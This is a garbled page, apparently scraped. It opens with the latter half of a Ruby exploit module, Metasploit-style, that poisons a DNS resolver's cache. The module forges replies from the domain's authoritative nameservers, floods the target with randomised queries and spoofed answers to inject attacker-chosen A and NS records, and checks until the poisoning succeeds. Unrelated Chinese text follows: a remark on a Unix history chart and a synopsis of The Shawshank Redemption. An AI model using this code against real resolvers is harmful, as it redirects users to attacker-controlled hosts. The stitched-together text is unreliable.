print_status(“ >> ADDRESS: #{t_addr} PORT: #{t_port}”) t_port = t_port.to_i if(lport and lport != t_port) random = true end lport = t_port ports << t_port end end end end srv_sock.close if(ports.length < 5) print_status(“UNKNOWN: This server did not reply to our vulnerability check requests”) return end if(random) print_status(“PASS: This server does not use a static source port. Ports: #{ports.join(“, “)}”) print_status(“ This server may still be exploitable, but not by this tool.”) else print_status(“FAIL: This server uses static source ports and is vulnerable to poisoning”) end end def run target = rhost() source = Rex::Socket.source_address(target) sport = datastore[‘SRCPORT’] hostname = datastore[‘HOSTNAME’] + ‘.’ address = datastore[‘NEWADDR’] recons = datastore[‘RECONS’] xids = datastore[‘XIDS’].to_i ttl = datastore[‘TTL’].to_i xidbase = rand(4)+2*10000

domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]

srv_sock = Rex::Socket.create_udp( ‘PeerHost’ => target, ‘PeerPort’ => 53 )

# Get the source port via the metasploit service if it’s not set if sport.to_i == 0 req = Resolv::DNS::Message.new txt = “spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com” req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do name, ttl, data if (name.to_s == txt and data.strings.join(‘’) =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(‘:’) sport = t_port.to_i

print_status(“Switching to target port #{sport} based on Metasploit service”) if target != t_addr print_status(“Warning: target address #{target} is not the same as the nameserver’s query source address #{t_addr}!”) end end end end end

# Verify its not already cached begin query = Resolv::DNS::Message.new query.add_question(hostname, Resolv::DNS::Resource::IN::A) query.rd = 0

begin cached = false srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do name, ttl, data if((name.to_s + “.”) == hostname and data.address.to_s == address) t = Time.now + ttl print_status(“Failure: This hostname is already in the target cache: #{name} == #{address}”) print_status(“ Cache entry expires on #{t.to_s}… sleeping.”) cached = true sleep ttl end end end end until not cached rescue ::Interrupt raise $! rescue ::Exception => e print_status(“Error checking the DNS name: #{e.class} #{e} #{e.backtrace}”) end

res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

print_status “Targeting nameserver #{target} for injection of #{hostname} as #{address}”

# Look up the nameservers for the domain print_status “Querying recon nameserver for #{domain}’s nameservers…” answer0 = res0.send(domain, Net::DNS::NS) #print_status “ Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities”

barbs = [] # storage for nameservers answer0.answer.each do rr0 print_status “ Got an #{rr0.type} record: #{rr0.inspect}” if rr0.type == ‘NS’ print_status “ Querying recon nameserver for address of #{rr0.nsdname}…” answer1 = res0.send(rr0.nsdname) # get the ns’s answer for the hostname #print_status “ Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities” answer1.answer.each do rr1 print_status “ Got an #{rr1.type} record: #{rr1.inspect}” res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) print_status “ Checking Authoritativeness: Querying #{rr1.address} for #{domain}…” answer2 = res2.send(domain) if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 nsrec = {:name => rr0.nsdname, :addr => rr1.address} barbs << nsrec print_status “ #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as” end end end end

if barbs.length == 0 print_status( “No DNS servers found.”) srv_sock.close disconnect_ip return end

# Flood the target with queries and spoofed responses, one will eventually hit queries = 0 responses = 0

connect_ip if not ip_sock

print_status( “Attempting to inject a poison record for #{hostname} into #{target}:#{sport}…”)

while true randhost = Rex::Text.rand_text_alphanumeric(12) + ‘.’ + domain # randomize the hostname

# Send spoofed query req = Resolv::DNS::Message.new req.id = rand(2**16) req.add_question(randhost, Resolv::DNS::Resource::IN::A)

req.rd = 1

buff = ( Scruby::IP.new( #:src => barbs[0][:addr].to_s, :src => source, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => (rand((2**16)-1024)+1024).to_i, :dport => 53 )/req.encode ).to_net ip_sock.sendto(buff, target) queries += 1 # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address)) req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address)) req.qr = 1 req.ra = 1

xidbase.upto(xidbase+xids-1) do id req.id = id barbs.each do barb buff = ( Scruby::IP.new( #:src => barbs[i][:addr].to_s, :src => barb[:addr].to_s, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => 53, :dport => sport.to_i )/req.encode ).to_net ip_sock.sendto(buff, target) responses += 1 end end

# status update if queries % 1000 == 0 print_status(“Sent #{queries} queries and #{responses} spoofed responses…”) end

# every so often, check and see if the target is poisoned… if queries % 250 == 0 begin query = Resolv::DNS::Message.new query.add_question(hostname, Resolv::DNS::Resource::IN::A) query.rd = 0 srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do name, ttl, data if((name.to_s + “.”) == hostname and data.address.to_s == address) print_status(“Poisoning successful after #{queries} attempts: #{name} == #{address}”) disconnect_ip return end end end rescue ::Interrupt raise $! rescue ::Exception => e print_status(“Error querying the DNS name: #{e.class} #{e} #{e.backtrace}”) end end

end

end

end end

这是一幅有趣的图片,该图非常直观的展示了 Unix 的诞生及其家族的演进史。当然,除了 Unix 之外,Linux 和 BSD 也包含其中。不清楚此图的原作者是谁,有知道的同学还望说一声。

       故事发生在1947年,银行家安迪被指控枪杀了妻子及其情人,被判无期徙刑,这意味着他将在肖恩克监狱中渡过余生。
阿瑞1927年因谋杀罪被判无期徙刑,数次假释都未获成功。他现在已经成为肖恩克监狱中的“权威人物”,只要你付得起钱,他几乎有办法搞到任何你想要的东西:香烟,糖果,酒,甚至是大麻。每当有新囚犯来的时候,大家就赌谁会在第一个夜晚哭泣。阿瑞认为弱不禁风、书生气时足的安迪一定会哭,结果安迪的沉默使他输掉了四包烟。但同时也使阿瑞对他另眼相看。
        好长时间以来,安迪不和任何人接触,在大家报怨的同时,他在院子里很悠闲地散步,就象在公园里一样。一个月后,安迪请阿瑞帮他搞的第一件东西是一把小的鹤嘴锄,他的解释是他想雕刻一些小东西以消磨时光,并说他自己想办法逃过狱方的例行检查。不久,阿瑞就玩上了安迪刻的国际象棋。之后,安迪又搞了一幅丽塔.海华丝的巨幅海报贴在了牢房的墙上。
       一次,安迪和另几个犯人外出劳动,他无意间听到监狱官在讲有关上税的事。安迪说他有办法可以使监狱官合法地免去这一大笔税金,做为交换,他为十几个犯人朋友每人争得了两瓶Tiger啤酒。喝着啤酒,阿瑞说多年来,他又第一次感受到了自由的感觉。
      由于安迪精通财务制度方面的的知识,很快使他摆脱了狱中繁重的体力劳动和其它变态囚犯的骚扰。不久,声名远扬的安迪开始为越来越多的狱警处理税务问题,甚至孩子的升学问题也来向他请教。同时安迪也逐步成为肖恩克监狱长沃登洗黑钱的重要工具。由于安迪不停地写信给州长,终于为监狱申请到了一小笔钱用于监狱图书馆的建设。监狱生活非常平谈,总要自己找一些事情来做。安迪听说阿瑞原来很喜欢吹口琴,就买了一把送给他。夜深人静之后,可以听到悠扬而轻微的口琴声回荡在监狱里。
       一个年轻犯人的到来打破了安迪平静的狱中生活:这个犯人以前在另一所监狱服刑时听到过安迪的案子,他知道谁是真凶!但当安迪向监狱长提出要求重新审理此案时,却遭到了断然拒绝,并受到了单独禁闭两个月的严重惩罚。为了防止安迪获释,监狱不惜设计害死了知情人!
       面对残酷的现实,安迪变得很消沉……有一天,他对阿瑞说:“如果有一天,你可以获得假释,一定要到某个地方替我完成一个心愿。那是我第一次和妻子约会的地方,把那里一棵大橡树下的一个盒子挖出来。到时个你就知道是什么了。”当天夜里,风雨交加,雷声大作,已得到灵魂救赎的安迪越狱成功。
     原来二十年来,安迪每天都在用那把小鹤嘴锄挖洞,然后用海报将洞口遮住。安迪出狱后,领走了部分监狱长存的黑钱,并告发了监狱长贪污受贿的真相。监狱长在自己存小账本的保险柜里见到的是安迪留下的一本圣经,里边挖空的部分放这一把几乎磨成圆头的鹤嘴锄。
      阿瑞获释了,他在橡树下找到了一盒现金,两个老朋友终于在墨西哥阳光明媚的海滨重逢了。
    《肖申克的救赎》这部电影是从两个方面来拯救我们的:一方面是自由,另一方面就是希望。

0%